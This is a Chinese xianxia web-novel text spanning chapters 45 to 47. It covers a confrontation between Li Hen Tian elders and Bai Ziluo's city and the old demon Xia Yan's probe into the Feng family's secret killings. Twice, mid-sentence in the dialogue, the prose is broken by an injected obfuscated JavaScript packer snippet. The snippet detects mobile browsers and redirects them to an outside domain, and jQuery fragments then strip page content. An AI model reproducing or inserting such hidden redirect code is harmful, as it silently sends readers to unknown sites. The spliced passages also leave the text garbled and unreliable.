一阵不为人觉的细小嗡鸣钻入脑海,是蚊妖的幻术。 陈淳一把捏住施术的蚊子,那灵力凝结的小虫在他法力攻击下坚持了数息才消散,世间能与他抗衡的蚊妖有且仅有封无牙, 这老妖怪怎会出力掩护名不见经传的小丫头? 狡诈之人善于辨析,陈淳目光左右游移,陡然凶狠起来。 那姓夏的老魔头就是被这小丫头放跑的,封无牙和老魔交好,定是受其委托办事。老魔和封家恢复联系也会互通有无,刚才那个人大概就是他! 他在那人身上下了监视禁制,忙施法搜索,禁制已被解除了。 当真是他! 陈淳惊怒之余顿感恐慌。 夏老魔尚未取回灵骨,顶多剩三成法力,若用幻术定然逃不过我的探查。反言之,他能瞒住我说明法力恢复了大半,亦或者 有厉害的法宝傍身,会是谁给的呢? 妖类炼制不出这等效力的法宝,有实力也最有可能为他提供帮助的人当属白子落。 “夏炎”这个名字像陈淳背上好不了的疮疤,有点风吹草动就流脓流血,搅得他昼夜不宁。那魔头出逃这一年在他比过去的一千年更难熬,时刻提防戒备着。 本打算以逸待劳,可是其他太上长老也个顶个的精,都想躲在后方让别人冲锋陷阵。 陈淳跟他们耗不起,那些人和老魔的仇怨都不如他积得深,当年他全靠命大才数次死里逃生。此番老魔要反扑,必将他列为头号报复对象,他为寻求助力才答应雪千重来松阳镇场子,不料正撞上那对头。 此事马虎不得,他立即赶回缥缈城与雪千重面谈,叙述完经历后埋怨:“我就说白子落那小人的话信不得,他并未正式跟姓夏的翻脸,焉知不会再做墙头草?这次夏老魔出逃定是他一手策划的。” 雪千重静静听他发完牢骚,无情无绪说道:“缺少证据,我们总不能贸然找白子落问罪,不如先派人去问问封无牙,看他是否知道那魔头的下落。” 陈淳苦笑:“师姐,封老怪可不是软柿子,况且他因为小儿子的事正憋着气呢,此时前去岂非正好送借口给他发难?他也断不会老实交代。” 雪千重下巴轻点:“师弟说的不无道理,那依你之见该当如何?” 陈淳真讨厌这女人麻木不仁的德性,仿佛一潭浑浊的死水,扔再多东西下去也毫无反应。 让这块木头主持大局,还不如去道祖的神像前祈福抽签来得明确。 然而如今也只有这块不知冷热的木头愿意坐这个火山口,遇事起码有人扛旗、背锅。 他打算让雪千重履行义务,鼓动她去找白子落交涉。 “其他人去那魔头只会像上次那样敷衍塞责,唯有师姐亲往,或许能套出几句真话。” 首脑出面更像问责,搞不好会使双方矛盾激化。 陈淳只顾治疗自身疑心病,胸无大局,自私透顶。 二人身旁乍现一个浑身发光的紫衣老者,斥责陈淳:“陈师兄这主意未免太莽撞了。” 那老者骨骼清奇,额头中央横着一道深深的寿星纹,目若朗星,炯炯有神。 他也是离恨天太上长老之一,姓陈名砚山,后辈们为区分他和陈淳,尊称其为“小陈祖师” 这陈砚山是离恨天高层中最能谋善断的,曾在对魔道和妖族的征战中屡立奇功,口碑人望都胜过其他同门。 陈淳和陈砚山本是同宗,却相互看不顺眼,见他突然露面,猜他早已到场却故意躲着自己,讥讽道:“砚山师弟也在啊,方才怎不出来相见?莫非嫌我碍眼,不愿理睬?” 陈砚山神情严正:“小弟以为师兄有机密消息上报,故而回避。” “既如此,为何又偷听我和师姐谈话?” 雪千重知道陈淳心胸狭隘,得势不饶人,替陈砚山开脱:“是我让砚山旁听的。砚山,你来得正好,陈淳师弟建议我与白子落会谈,你意下如何?” 陈砚山说:“万万不可。师姐现是离恨天的统帅,岂能纡尊降贵主动约见魔道匪首?” 雪千重轻叹:“你的话也很在理,可正如陈淳师弟所言,那白子落很可能正与重犯相勾结,派别人去他大概仍会抵赖。” 陈砚山顺势进言:“其他人自是不妥,但若由陈淳师兄出马,自是万无一失的。” 他砸烂陈淳的如意算盘,直接推他去顶缸,气得陈淳勃然变脸。 “陈砚山,你什么意思!?” “自然是信得过师兄的意思。” “我不曾招惹你,你为何频频给我使绊子?” “师兄误会了,小弟固然愚钝也懂得大局为先。劝师兄摆正心态,别总想着公报私仇。” 陈淳被踩中尾巴,又气又恨,立时倒打一耙,向雪千重指控道: “师姐,陈砚山摆明在刁难我。当年便是如此,每当我提议对付夏老魔,他不是拐弯抹角刻薄人,就是百计千方阻拦。我早怀疑他心向那魔头,当年我们几次讨贼失败,或许就是内鬼从中作梗!” 陈砚山反应平淡,甚至露出一丝轻蔑的嘲笑:“几百年不见,陈师兄扣帽子的技能更纯熟了,离恨天有没有内鬼不好说,但真有不少数典忘宗的叛徒,连自家亲人都忍心杀害的歹人尚能称师道祖,也不怪外界讽刺我们正道盛产伪君子。” 陈淳灵压骤放,抬起右手,手心里现出一团吸力强劲的黑色旋涡,疯狂拉扯陈砚山。 陈砚山敢当面揭他老底就不惧动武,右手捏起剑诀,顿时身披万刃,锋芒直指陈淳。 争斗一触即发,雪千重不能坐视,身上寒气外泄,将二人同时封冻住,和声警告:“两位师弟莫要吵闹,传出去徒增笑料。” 她杀人时也用这种语气,听起来温柔,威胁力很足。 陈砚山在陈淳之后收回法力,却抢先一步向雪千重赔罪。 陈淳冷笑:“变脸比翻书还快,也不知是谁深谙伪君子精髓。” “够了,都少说两句吧。” 雪千重的对内原则是平衡,此外不在意任何人的感受和看法。 基于这个原则她很干脆地做出裁断,对陈淳说:“陈淳师弟,就烦劳你替我去一趟七曜城吧。” 陈淳搬起石头砸自己的脚,不能违抗她的命令,勉强接下差事。 他认为这窘境都是陈砚山造成的,不甘吃瘪,向雪千重提要求:“只我一人去恐不足以引起白子落重视,砚山师弟好像很闲,不妨让他与我同去。” 这符合雪千重的端水路线,当即应允,叮嘱陈砚山好生协助陈淳。 陈砚山一向表现得公私分明,领命后向陈淳拱手道:“那这一路便有劳陈师兄照应了。” 陈淳冷哼:“好说好说,砚山师弟,请吧。” “师兄请。” 二人动身出行,陈砚山取出一块手帕往空一抛变作容纳两人的飞毯,邀请陈淳乘坐。 陈淳并不客气,跳上飞毯盘膝坐定,取出一整套精美茶具,现磨现煮,款待陈砚山。 陈砚山一边看他烹茶一边问:“师兄确定今日所见之人是夏老魔?” 陈淳不抬眼地回答:“铁定没错,所以我才判断白子落暗中支援他,否则凭他现在的法力怎瞒得过我。” 陈砚山笑道:“真是他,见了你还能沉住气,说明这老鬼比过去更精明了。” 陈淳剜他一眼,觉得这人说话句句欠揍,明着挖苦:“若这样的话,往后对付此人就全靠师弟你这个聪明人了。” 飞毯速度惊人,水未煮开已抵达数十万里外的归墟,隔着茫茫云海就是宏伟的七曜城。 只见无数建筑街道形成八个球形组团,围绕正中心的主城构成八卦形态。 东西、南北都横亘四百余里,规模比百年前又壮大了一倍,建面之辽阔胜过十州中任何大都市。 城市外的山林多经过开垦,一望无垠的农田正翻着绿波和金色麦浪,千村万落散布其间,汇聚成的乡镇市集不胜枚举 陈砚山感叹:“白子落善于笼络人心,前来依附他的凡人越来越多了。” 陈淳蔑笑:“蝼蚁之众,再多也难成气候。师弟赶路太快,这茶只能留待稍后喝了。” 陈砚山说:“小弟跟师兄来办正事,喝不喝茶无所谓。我们是直接进去,还是先由小弟前去通报?” 陈淳不想被他小瞧,狠厉道:“你我代表千重师姐而来,岂能堕了离恨天的威名?自然是让那魔头来见我们。” 他挥手施法,脚下出现巨大的黑漩涡,须臾吸光苍茫云海,将七曜城周边的树木山石连根拔起。 护城法阵自动运转,守城的魔修们迅速集结,查明来犯者后暂未行动。 俄尔,两名修士电射升空,飞到二陈对面,隔着百丈距离与之对峙。 一个是身穿黑色鹤氅的青年,做书生打扮,左脸戴着一个刚好能遮住左眼的面具。面具上的眼睛由黑曜石雕成,未经打磨,黯淡无光,与精光锐利的右眼对比鲜明。 另一个身形矮小的中年男人手提两把鬼头板斧,腰系虎皮,足蹬马靴,尖嘴猴腮,红眼突额,可谓奇丑无比。 那书生的相貌本就十分俊秀,有这丑矮子做陪衬更是惊为天人,可惜那面具常年不摘,世人都猜他是毁容的独眼龙。 陈淳和陈砚山认得书生名叫古怀熹,绰号“料事如神”,是“十柱石”里的老二,博学多闻,智识远大,最为白子落所器重。 矮子是“杀人如麻”张翦,在“十柱石”里排名仅次于“寸草不生”秦不羁。 出动这两名大员来迎客,白子落也算礼数周全。 古怀熹落落大方地向二陈见礼:“二位陈长老真乃稀客,不知大驾光临有何贵干?” 陈淳倨傲道:“古小友,大家都是熟人,客套的话就不必说了。今日来是有一件怪事想向白道友求证。适才老夫在松阳公干,遇到假扮成散修的夏老魔,可惜没能现场识破他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802189|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的伪装,让其逃了。” 张翦很看不惯陈淳盛气凌人的做派,插嘴抢白:“你既知那人是夏老魔,怎地还说没认出来?莫不是怕了他,假装不认识?” 陈淳挑眉瞠目,忍着没发火。 古怀熹假意责备张翦:“陈长老是贵客,四弟休要无礼。”,说完礼貌询问陈淳:“陈长老未能及时识破那夏炎的伪装,想必另有缘故,还请直言。” 陈淳借机数落:“你明知老夫是要直说的,被你这矮伙计生生打断,何故还来催问!” 他犯了张翦的忌讳,立时招至杀意。 “你来我七曜城捣乱还敢恶语伤人,待老子将你一劈两段,不怕你矮不过我!” 张翦祭出一口板斧,那斧头离手变大百倍,呜呜旋转着飞向陈淳,周围气流被它带动形成利刃,杀伤力远达数百丈,甚至劈断了太阳光线。 陈淳和陈砚山各自架起护盾,二力相撞,火花四溅,仿佛漫天洒落流星雨,场面异常壮观。 城中胆大的居民纷纷仰头观望,为张翦欢呼喝彩。 陈淳的修为比张翦高一倍,本就无须容忍,此刻不给敌人点颜色瞧定然下不来台,出手更狠辣,念咒开启黑洞,刷然收走张翦的板斧,并持续攻击他。 张翦抵挡不住,眼看那黑洞像黑布口袋当头罩下,身体被强大的吸力困住,难以逃脱。 古怀熹忙施法牵制黑洞,但也只能勉强与之僵持。这老鬼是离恨天的顶尖精英,两千多年的道行实非他和张翦所能匹敌。 颓势初现,下方的主城射出大片炫目的白光,将黑洞冲得风流云散,一举救下古、张二人,还夺回了张翦的板斧。 二陈知道是白子落出手,被罡风刮得神魂摇晃,险些稳不住身形。心想此子不愧是当今魔道第一人,继夏炎之后最能对离恨天构成威胁的存在。 陈淳高声责问:“都说白道友是谦谦君子,难道就是这样教手下人待客的?” 一个明亮动听的青年声音随即入耳。 “不过是场小小的误会,陈长老向来宽宏大量,何必介怀呢?” 这声音从天上来,从地下来,从四面八方来,更像来自人们的脑海。 陈淳感觉白子落法力更精进了,再激进讨不来好,倒不如体面收场,罢手道:“白道友既已出面,老夫再计较便显得以大欺小了。方才老夫说的话道友想必都听见了,那夏老魔法力未复,定是靠特殊法宝掩护方能成功骗过老夫。普天之下能炼制此种法宝的非白道友莫属,不免叫人猜测,道友莫不是旧情难舍,向那魔头提供了援助。” 古怀熹隔空捂住张翦的嘴,阻止他爆粗口,保护主人的尊严是他的义务,因此代白子落回复陈淳:“陈长老这番猜测看似有根据,实则都是想当然的臆断。我主与夏炎断交多年,上次贵派使者到访,我主也明确表示未与那魔头有过任何联系。陈长老今天又来质疑,倒真像欲加之罪了。” 陈淳拿不出证据以理服人,打架又再难占便宜,怨陈砚山装聋作哑,扭头拉他下水:“砚山师弟,方才千重师姐是如何交代的,你来给白道友复述一遍吧。” 陈砚山暂不计较他的坏心眼,向白子落客气道:“我陈师兄说话并非没有依据,他在松阳城内发现蚊妖封无牙正用幻术替一个名叫冉彤的小丫头掩饰逃犯身份。不知阁下对此女可有印象?” 白子落说:“上次听贵派使者说,是烈阳冉家的幼女潜入翡翠城遗址,解除封印放走夏炎,小陈长老说的小丫头可是她?” “正是。阁下想必清楚,封无牙与夏老魔私交甚笃,定是受其委托才会不辞辛劳地帮助那冉丫头。” 白子落没答话,古怀熹机敏提问:“就算如此,这跟陈淳长老今日遇见的那人又有什么关系?” 陈砚山趁机将皮球踢还给陈淳:“师兄是当事人,最了解情况,还是你来说吧。” 陈淳明知他想看自己丢脸,只得含糊其辞道:“日前封无牙的小儿子在松阳行凶杀人,被正道修士击毙。那老蚊子想是气不过,让夏老魔伪装散修去替他儿子翻案。今日老夫受千重师姐嘱托坐镇松阳,恰好撞见他在那里捣乱。” 张翦接嘴嘲弄:“老封是众所周知的善妖,他小儿子人品比他还好,怎会行凶杀人?定是您们抓不到真凶便错拿好人顶缸!” 陈淳怒火重燃,向白子落抗议:“白道友就坐视手下污蔑人吗?七曜城的体统何在?” 白子落不轻不重责备张翦:“张翦勿再惹恼陈长老,且退下吧。” 张翦不情愿地嘟囔:“卑职也怕这老儿对君上无礼,卑职打不过还能帮您骂几句。” 陈砚山及时拦住陈淳,白子落也加重语气驱赶张翦,而后对二陈挈然言道:“两位的意思本座都明了了,也自认已向贵派尽到解释义务,其余的无可奉告。请二位如实回复雪长老,若她仍有疑问,可来七曜城与本座面商,本座随时恭候她的大驾。” 他态度强硬,丝毫不给离恨天颜面,二陈空有脾气,奈何技短,被迫忍羞含怒告辞。 警报解除,白子落在主城秘密召见古怀熹,问他对陈淳那些话做何看法。 古怀熹隔着重重帘幕禀告:“那老儿是个精细人,卑职相信他判断无误,至于老夏是靠什么法宝隐藏身份的,卑职有一个不着边际的猜想。” 白子落笑道:“你的推测哪有不着边际的,无非怕得罪人罢了。” 古怀熹知道主人已有了头绪,俯身恭维:“君上眼明心亮,无须卑职多言了。” 白子落叹息:“秦不羁的忠心毋庸置疑,可惜做事粗心大意,为人也过于憨直,容易受骗上当。你这便去问问他,是不是把本座送给他家万岁的映真镜弄丢了。若真如此,本座也不会责罚他们父子,你帮着他寻回即可。” 46.探听 古怀熹找到秦不羁时,他刚被王霸送回凤来客栈不久。 秦万岁得知父亲受伤的经过心情复杂,一方面埋怨冉彤下手太狠,一方面又觉得秦不羁咎由自取。 随后想他今番吃够苦头,近期都不能为非作歹,也未尝不是好事,含泪劝说:“阿爹为我吃苦受累,既坏了名声又损了阴德,这次就当老天爷给的教训,日后还请您自珍自重,切莫再为孩子做那伤天害理的事。” 秦不羁千余年来不断为给儿子求医问药,干了无数缺德事,一直受到秦万岁强烈反对。他不怪儿子辜负他的爱心,只怨两个人:一怨上苍不长眼;二怨亡妻太狠心。 那糊涂娘们要是早知道我们的儿子这么善良正直,当年也下不去手吧。 怨到最后仍怨自个儿没用,那会儿没能阻止悲剧,后来也找不到良医治愈儿子,永远一筹莫展,身不由己。 他瞧着秦万岁病弱哀伤的模样,心疼得忘记自身伤痛,愧疚道:“是为父大意了,没能猎到那头白泽,耽误了你的病情。幸好还有老李给的药方,等为父歇息片刻就去给你配药。” 见他死不悔改,秦万岁急得跺脚:“阿爹是打定主意不听孩儿劝告了,孩儿宁死也不吃用别人性命换来的药!” 秦不羁没想到这事也暴露了,惊问:“你是如何知晓的?” 秦万岁气愤不语,王霸说:“那黑鱼精让冉丫头帮忙求情,冉丫头跟你见面前已找过万岁了。” “什么?又是那死丫头坏事!” 秦万岁听不得父亲爆吼,连声怨王霸多嘴。 王霸笑道:“你爹已和冉丫头结下死仇,这事说不说都一样。” 若非儿子在场,秦不羁准会烧了整条街泄愤,目眦尽裂呼啸:“死丫头定是我父子前世的仇人,待我伤愈先屠尽冉家满门!” 王霸让秦万岁莫着急,替他劝阻秦不羁:“那丫头是冉家的叛徒,兴许正巴不得你替她杀人呢。” 秦万岁认为冉彤安全脱逃,暂时无碍,先全力保护黑鱼精一家,警告秦不羁:“冉姑娘的事稍后再说,阿爹先答应孩儿不去杀那黑鱼精的儿子。” 秦不羁急忙辩解:“万岁,你的病不能再拖下去了。妖兽本不算人,何况那小黑鱼尚未化形,就是条普通的鱼。菜市场上每天宰杀成千上万水族,你同情得过来吗?” 秦万岁不得不再跟父亲讲道理:“即便是鱼也是人家的宝贝儿子,阿爹既爱护我,就该体恤他人的骨肉情。你若不答应,孩儿自今日起便不吃药了,希望阎王爷早点将我收了去,好抵偿阿爹这些年犯下的罪孽。” 秦不羁最怕儿子诅咒自己,又气又急,叫苦连天。 王霸暗笑世间一物降一物,拍着秦不羁的肩头劝解:“三哥且听万岁的吧,病由心生,他心里难过,再多药吃下去都枉然。你去问问那开药方的人,有没有其他死物能替代这一味药,我帮你去找。” 话到这里,古怀熹倏地从窗户外飞进来,他在七曜城的地位高于秦不羁和王霸,二人忙起身迎接。 秦不羁惊讶:“二哥怎么来了?” 王霸思维比他敏捷,问:“是不是君上有差事派给我们?” 古怀熹先亲切地跟秦万岁打招呼:“万岁,近日身体如何?” 秦万岁微笑行礼:“多谢二叔挂念,小侄一切安好。” 秦不羁没儿子稳重,皱眉诉苦:“好什么呀,二哥你看这孩子的病情又严重了,隔两三天就吐血晕倒,可把我愁坏了。” 古怀熹扫一眼秦万岁,看出他的枯血症又呈恶化趋势,说:“待会儿我们先带万岁去找老六和老七,合我们五人之力为他洗筋伐髓,应该能再次控制住病情。” 秦不羁先喜后忧:“自上次求过老六以后,足足被他念叨了两三百年,我真受不了那小气鬼。” 古怀熹说:“为了万岁,你受点委屈又如何?这次我替你开口,量老六不敢罗唣。” 秦不羁忙向他作揖道谢,天底下能让他这么毕恭毕敬的人屈指可数,古怀熹算半个。 王霸等得不耐烦了,再问古怀熹:“二哥不会是专程来探望万岁的吧?” 古怀熹戏谑:“看把你小子急的,年纪一大把还没万岁有耐心。” 王霸嬉笑:“我只比万岁早生了两百多年,没他显嫩而已。” 他说话的表情真如孩童般天真顽皮,众人笑开怀,秦不羁嘴咧得能塞进拳头,古怀熹只略微弯了弯嘴角,优雅得体,和其他人画风迥异,而后严肃起来。 “方才雪千重派陈淳和陈砚山去七曜城了,陈淳说他今早在松阳见到过夏炎。当时那老魔假扮成散修,靠不知名的法宝掩护骗过陈淳,从他眼皮底下溜走了。” 秦不羁和王霸大吃一惊,王霸忙追问:“陈淳凭什么说那人是老夏假扮的?” 古怀熹转述了陈淳给出的理由,问一脸呆滞的秦不羁:“老三,君上命我问你,他赐给万岁的映真镜现在何处?” 秦不羁并不蠢,已明白他在暗示老魔使用的法宝就是白子落炼制的映真镜,而这也是离恨天派人去七曜城问责的原因。 秦万岁反应更快,担心白子落怪罪父亲,忙跪地禀告古怀熹:“二叔,是我擅作主张将映真镜赠与他人,请您回禀君上,一切罪责都由我承担,求他不要怪罪我阿爹。” 古怀熹扶起他,追问:“万岁,你把映真镜给谁了?” 秦万岁预感冉彤会受牵连,这个口着实难开。 秦不羁恍然大悟,拍着脑门气嚷:“我说冉丫头哪儿来那么厉害的震爆符呢,原来是老夏给的!当初她自称是被人追杀时误入翡翠城,老子还信了,真是猪脑袋!” 王霸悄悄瞥他一眼,一反常态地沉默着。 古怀熹听了秦不羁讲述他们父子与冉彤的恩怨纠葛,点头道:“错不了了,这小丫头是夏老魔的手下,如今正跟随他行动。” 秦不羁摩拳擦掌道:“抓住她就能找到老夏,这回更不能放过这死丫头。二哥,你去求求君上,我定会寻得那老鬼下落,将功赎罪。” 古怀熹宽慰他:“你且安心,君上说了不会责罚你和万岁。” 这话对秦万岁不起作用,他心绪纷乱,深深为冉彤焦虑。 只得罪父亲,自己还能护着她,而今跟那众矢之的的老魔头扯上关系,就是刀尖行走,步步危险。 古怀熹见孩子脸色更差了,以为他受惊过度,取出一粒药丸让他服下。 “这是君上特意为你炼制的九阳再生丹,吃了可暂保你无恙。” 炼制九阳再生丹的主要配料是太极逆命莲的花朵。 此花濒临灭绝,只七曜城内栽种了几株,每三百年开放一次,每次只开寥寥数朵,是无价的奇珍。 秦不羁惊讶不安:“君上之前想用那太极逆命莲为少主炼制升阶丹药,怎能为我们浪费?” 古怀熹笑道:“君上说万岁的病不等人,而少主来日方长,自然是先救人要紧。” 白子落只有一个独生女儿,是他悉心培养的继承人,肯割让爱女的利益给属下,真是恩深义重的好主公。 秦家父子万分感动,一起朝七曜城的方向跪拜。 秦不羁感慨道:“君上真是举世无双的圣人,可惜当年受老夏蒙蔽,与之结拜,落下污点惹人诟病不休。近来离恨天连番找我们的茬皆因那魔头而起,真不知君上还要被他连累到什么时候。” 他起身使劲拍了拍王霸的背:“老八,我决意拼死抓捕夏老魔,你可愿助我?” 王霸愣了愣,笑应:“我正愁三哥跟我客气,不想让我帮忙呢。有了消息你可得及时通知我,我一准赶去支援。” 古怀熹要先帮秦不羁疗伤,吩咐王霸去城内布置鹰眼,监视松阳修真界的动向。 王霸离开客栈直奔之前冉彤藏身的森林,一路欢欣鼓舞。 有胆识够仁义,这样的小辈的确是他赏识的类型,被迫害了一千年,他老人家还没改变好恶,不愧是人界唯一真仙。 他抵达原址,仔细搜索,没发现那丫头的踪迹,无限懊悔地拍打膝盖。 “我真该在她身上留个记号才是!” 失落只是一片微不足道的枯叶,摘掉后还有满树绿意盎然的喜悦。 他掏出储物袋里的《云影仙踪记》,右手颤抖着轻轻抚摸封皮,看透世事的双眼慢慢浮起久违的泪光,欣喜这睹物思人的日子不会太长了。 师父,您没事就好,弟子终于等到您了。 陈淳对老魔下监视禁制时老魔一清二楚。 这小人当了多年叛徒还厚颜无耻地使用师门的法术,也全靠他这份无耻,老魔才能在法力不及的情况下破除禁制。 同出一门,这禁制的缺陷他都了解,靠技巧就能化解。 他离开松阳赶往灵樾森,去核实那蚊女的身份。 封家人还在为封七郎办丧事,前来吊唁的妖怪络绎不绝。 老魔隐身潜入灵堂,封家只五娘、六郎在忙着接待客人,其余人都不在。 收到他的秘密传音,五娘惊奇回应:“夏爷这么快就回来了,可已查明案情?” 老魔说:“我昨晚见过那真凶,想找你了解点情况。昨夜子时前后你三哥、四哥在哪儿?” “昨日我兄妹五人此守灵,入夜三哥、四哥说老爹交代他们出去办事,今早才回来。” “封驸马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806933|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有说让他们办什么事吗?” “我后来问老爹,他说原本不想通知两位舅舅,但想这样不合情理,便派三哥四哥去报丧了。” “原来如此。那三郎、四郞现在何处?” “他们去清理七弟的洞府了。夏爷若急着找他们,我陪您过去。” 封五娘猜到老魔找两位哥哥是为着小弟的冤案,老魔听出试探之意,不愿在事情明朗前扰乱他们家人间的关系,借口想找三郎四郎帮忙,无须麻烦她,问得封七郎的住址后火速前往。 封七郎住在南华州西部的桃花山,老魔找到他的洞府,护院阵法已被破除,三郎四郎正在洞中整理弟弟的遗物。 老魔敛息藏踪,先放神识进洞探查。 洞中物品都被规整到一处,四郎忙着分类,三郎在一旁翻看七郎练功的手稿,看了一会儿心酸悲叹:“七弟真是个刻苦的孩子,我可从没像他这样用心整理过笔记。” 四郎跟着惋惜:“这小子最像老爹,做事踏实,舍得下苦功夫。可惜运气太差。” 三郎听了更难过失语,缓和好一阵终没忍住抱怨:“二姐真是个丧门星,从没给家里带来一件好事,现在连七弟都被她害死了,我们这样帮她隐瞒,真对不起老爹和七弟。” 见他不打自招,老魔不由得唏嘘。 昨晚他看到那蚊女的原形后便怀疑她是封家人,毕竟整个虫族只封无牙和金翅公主的后代是蚊子与蜈蚣杂交的大妖。 后来那蚊女被两个十级大妖救走,他在追捕三妖的过程中联想到封三郞和封四郎在封七郎冤案上的蹊跷态度,便疑上他俩。 事实证明他的判断很准确。 证据还不够充分,他继续窥听兄弟俩谈话。 封四郎开导三郎:“我完全理解三哥的心情,可事已至此,咱们除了替她隐瞒又能怎样?总不能再让老爹白发人送黑发人吧?况且我看二姐也挺难过,她跟老爹关系差,对我们几个弟弟妹妹还是很有感情的。要怪就怪那男的是害人精,我正想同你商量,这回我们真得放下顾虑,等支走夏爷就尽快设法除掉那人,否则二姐迟早被他给毁了。” 封四郞语气转狠,封三郞的反应更怨愤:“你最后这句话才合我心意,我看不必管夏爷了,我们这便去杀了那人为七弟报仇。” “不妥,他修炼邪功,寻常手段杀不死,得先破了他的功法才能永绝后患。再有,行动时得瞒着二姐,不然她准和我们拼命,到时仍会惊动家里人。” “唉,我发现‘女怕嫁错郎’这句话太有道理了。当初我们就该强烈反对二姐找那样一个夫婿。这一万多年二姐和我们被这混蛋害得从没安生过,以前母亲在还能庇护二姐,今后看她如何收场。” ……………… 老魔通过这二人怨气冲天的指责弄清了事情概况。 原来封二娘的丈夫还活着,一万年前对外假称身死,躲起来修炼某种邪功。 封二娘一直全心全意为丈夫护法,松阳城连年的凶案就是护法内容之一。 后来封七郞不知为何卷入这起事件,做了二姐的替罪羊。 封三郞、封四郎知晓内幕,却顾忌亲情向家人们隐瞒,正身陷左支右绌的矛盾中。 他们后面的谈话隐晦难懂,老魔知道要获取更多有效信息必须靠问,于是闪身入洞,来到二人跟前。 他陡然现身实出两兄弟意料,四郎比三郎沉稳,微微抬手示意三哥勿慌,礼貌地问老魔:“夏爷怎么来了?” 老魔料得一般方式问不出什么,定计后冷面指责:“你们刚才的话我在外面都听到了,封驸马被你们两个不孝子瞒得好苦,还不跟我回去向他请罪。” 他抛出紫气凝结的锁链套住二人,立刻遭到顽强抵抗。 不出两个回合洞府在剧烈的爆炸中坍塌,半座山峰被夷为平地,三郎现出庞大凶猛的原形,和四郎配合将老魔困在剥夺行动力的蚊影迷障内。 老魔抵抗一阵,故意就擒,厉声呵斥:“你们还想杀人灭口吗?” 四郎窘迫道:“我和三哥无心冒犯阁下,实在是受形势所迫,不得已为之。如今只能委屈您暂留此间,待我们摆平纷争即刻来向您负荆请罪。” 老魔冷嗤:“凭你们这点道行也想长期困住我?” 三郎知道他没说大话,忙吩咐四郎:“你快去取老爹的囚仙瓶来!” 四郎难得烦躁:“那宝贝老爹藏得极严,你叫我如何取?” “你是聪明人,自己看着办,我来守住这里,快去!” 四郎无奈离场,三郎恢复人形,落在不远处小心看守迷障。 老魔见时机成熟,从容地展开新一轮调查。 47.冤孽 “三郎,纸包不住火,我来之前你五妹已起疑了,回头定会告诉封驸马。劝你趁早说出实情,我还能帮你想想办法。” 封三郎没四郎精明,被老魔一句连哄带吓的话搅得心乱如麻,苦叹:“夏爷,我和四弟并非不明事理,但这件事说给家里人听,家里人会气死。说给外人听,我们定会被骂死。真不知如何是好。” 老魔放缓语气:“我不骂你,你且说来听听,你二姐到底是怎么被人坑骗的。” 封三郎本身骨鲠在喉,以为老魔受困,没法泄密,索性一吐为快。 他那个二姐夫本名商陆,是已覆灭的某白泽族部落的遗孤,立志复兴祖业。封二娘嫁给他以后便做了他的贤内助,全力助其完成志向。 后来商陆不知从哪儿觅得一门叫做“轮回演圣大法”的邪功,修炼此功需收集大量活人精血做原料,由于因此造成的杀孽过重,每隔数百年就会招致天劫,纵能侥幸躲过几次,也终遭灭顶之灾。 “这功法最邪门的地方在于修炼者死后,魂魄可绕过阴司管辖自行投胎转世。转世后前世的记忆会原封不动保留下来,以便继续修炼。那商陆自一万年前起已转世过九次,我二姐始终不离不弃痴心守护,为此跟着做了很多错事,老早前便被母亲觉察到了。” 金翅公主气愤女儿识人不明,打也打过,骂也骂过,甚至想直接杀了商陆。 可叹女大不由娘,封二娘像吃了迷魂药,决意跟丈夫同生共死。 金翅公主舍不得女儿,只得无奈妥协,为这对冤孽立下规矩,只许他们杀作奸犯科的坏人。怕事情败露,还曾长期协助他们,并且对外百般隐瞒,连丈夫封无牙都毫不知情。 “那邪功对精血的需求量太大,母亲忙不过来,先让四弟帮忙,后来又叫上我。我和四弟为尽孝,帮着二姐杀人采血。但我们从来只杀为非作歹之徒,绝没害过好人。至于商陆和二姐背地里干了什么,我们并不十分清楚。” 老魔听到这儿,料想封家兄弟一直对二姐夫妇的罪行视而不见,所以刚才在与四郎对话时才会说这万年来都被那两口子害得不安生。 太乙上清道注重正心、正念、正行,助纣为虐伤损道心。 封三郎和封四郞虽是十级大妖,却比不上太清教其他同阶妖修,症结大抵在此。 打断别人讲话这种没礼貌的行为不符合老魔的作风,他安静听封三郎发牢骚,在他长时间停顿时才开口追问。 “那邪功投胎时不限物种吗?” “是,只要符合条件,想投成什么都行。商陆开始时还尽量找白泽或其他妖族投胎,后来图方便,干脆托生为人了。那厮练邪功,惹得人神共愤,除了天谴,还被人族修士杀死过两次。他吸取教训,最近几次都投胎到正道修士家中,借以隐藏罪行。第九次是在三百年前,现任影月宗宗主吴敬轩就是他。” “竟是这样。” 老魔厘清封二娘和影月宗的关系,询问另一个疑点。 “离恨天明显知道吴敬轩长期在松阳行凶,为何还替他撑腰?” 离恨天腐朽贪酷,可出于巩固统治的目的,仍将保护地方稳定做为既定方针,没有重大利益做交换,不会容忍吴敬轩胡来。 封三郞又发悲叹:“这事得从我七弟遇害前说起,自三百年前商陆再次转世后二姐便极少与家里人联系,问她近况她都不肯实说,所以我们起初不知道吴敬轩就是商陆,也不知道二姐后来跟他去了松阳。这些年松阳的人口失踪案我们还是听七弟聊起的。” 封七郎经常往来松阳,与那里的大妖们熟识,听他们提到当地连年走失人口,种种迹象显示很像妖修所为。 封七郎急公好义,听的次数一多便上了心,想替妖界铲除败类,于是独自调查,一两年下来触及到一桩惊人的秘密。 